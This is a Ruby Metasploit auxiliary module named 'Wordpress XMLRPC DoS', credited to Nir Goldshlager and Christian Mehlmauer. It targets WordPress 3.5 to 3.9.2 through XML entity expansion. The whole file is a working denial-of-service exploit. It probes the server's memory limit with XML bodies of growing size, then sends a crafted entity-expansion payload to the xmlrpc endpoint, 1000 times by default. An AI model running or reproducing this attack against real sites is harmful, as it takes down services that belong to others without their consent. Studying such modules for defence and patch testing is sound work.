require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf:: HTTP ::Wordpress
include Msf::Auxiliary::Dos
def initialize(info = {})
super (update_info(info,
'Name' => 'Wordpress XMLRPC DoS' ,
'Description' => %q{
Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.
This vulnerability affects Wordpress 3 . 5 - 3 . 9 . 2 ( 3 . 8 . 4 and 3 . 7 . 4 are
also patched).
},
'Author' =>
[
'Nir Goldshlager' ,
'Christian Mehlmauer'
],
'License' => MSF_LICENSE ,
'References' =>
[
],
'DisclosureDate' => 'Aug 6 2014'
))
register_options(
[
OptInt. new ( 'RLIMIT' , [ true , "Number of requests to send" , 1000 ])
], self . class )
register_advanced_options(
[
OptInt. new ( 'FINGERPRINT_STEP' , [ true , "The stepsize in MB when fingerprinting" , 8 ]),
OptInt. new ( 'DEFAULT_LIMIT' , [ true , "The default limit in MB" , 8 ])
], self . class )
end
def rlimit
datastore[ 'RLIMIT' ]
end
def default_limit
datastore[ 'DEFAULT_LIMIT' ]
end
def fingerprint_step
datastore[ 'FINGERPRINT_STEP' ]
end
def fingerprint
memory_to_use = fingerprint_step
while memory_to_use < 1024
vprint_status( "#{peer} - trying memory limit #{memory_to_use}MB" )
opts = {
'method' => 'POST' ,
'uri' => wordpress_url_xmlrpc,
'data' => generate_xml(memory_to_use),
'ctype' => 'text/xml'
}
begin
res = send_request_cgi(opts, timeout = 3 )
rescue ::Rex::ConnectionError => exception
print_error( "#{peer} - unable to connect: '#{exception.message}'" )
break
end
if res && res.code == 500
last_limit = memory_to_use - fingerprint_step
vprint_status( "#{peer} - got an error - using limit #{last_limit}MB" )
return last_limit
else
memory_to_use += fingerprint_step
end
end
print_warning( "#{peer} - can not determine limit, will use default of #{default_limit}" )
return default_limit
end
def generate_xml(size)
entity = Rex::Text.rand_text_alpha( 3 )
doctype = Rex::Text.rand_text_alpha( 6 )
param_value_1 = Rex::Text.rand_text_alpha( 5 )
param_value_2 = Rex::Text.rand_text_alpha( 5 )
size_bytes = size * 1024
xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
xml << "<!DOCTYPE %{doctype} ["
xml << "<!ENTITY %{entity} \"%{entity_value}\">"
xml << ']>'
xml << '<methodCall>'
xml << '<methodName>'
xml << "%{payload}"
xml << '</methodName>'
xml << '<params>'
xml << "<param><value>%{param_value_1}</value></param>"
xml << "<param><value>%{param_value_2}</value></param>"
xml << '</params>'
xml << '</methodCall>'
empty_xml = xml % {
:doctype => '' ,
:entity => '' ,
:entity_value => '' ,
:payload => '' ,
:param_value_1 => '' ,
:param_value_2 => ''
}
space_to_fill = size_bytes - empty_xml.size
vprint_debug( "#{peer} - max XML space to fill: #{space_to_fill} bytes" )
payload = "&#{entity};" * (space_to_fill / 6 )
entity_value_length = space_to_fill - payload.length
payload_xml = xml % {
:doctype => doctype,
:entity => entity,
:entity_value => Rex::Text.rand_text_alpha(entity_value_length),
:payload => payload,
:param_value_1 => param_value_1,
:param_value_2 => param_value_2
}
payload_xml
end
def run
print_status( "#{peer} - trying to fingerprint the maximum memory we could use" )
size = fingerprint
print_status( "#{peer} - using #{size}MB as memory limit" )
xml = generate_xml(size)
for x in 1 ..rlimit
print_status( "#{peer} - sending request ##{x}..." )
opts = {
'method' => 'POST' ,
'uri' => wordpress_url_xmlrpc,
'data' => xml,
'ctype' => 'text/xml'
}
begin
c = connect
r = c.request_cgi(opts)
c.send_request(r)
rescue ::Rex::ConnectionError => exception
print_error( "#{peer} - unable to connect: '#{exception.message}'" )
return
ensure
disconnect(c) if c
end
end
end
end
|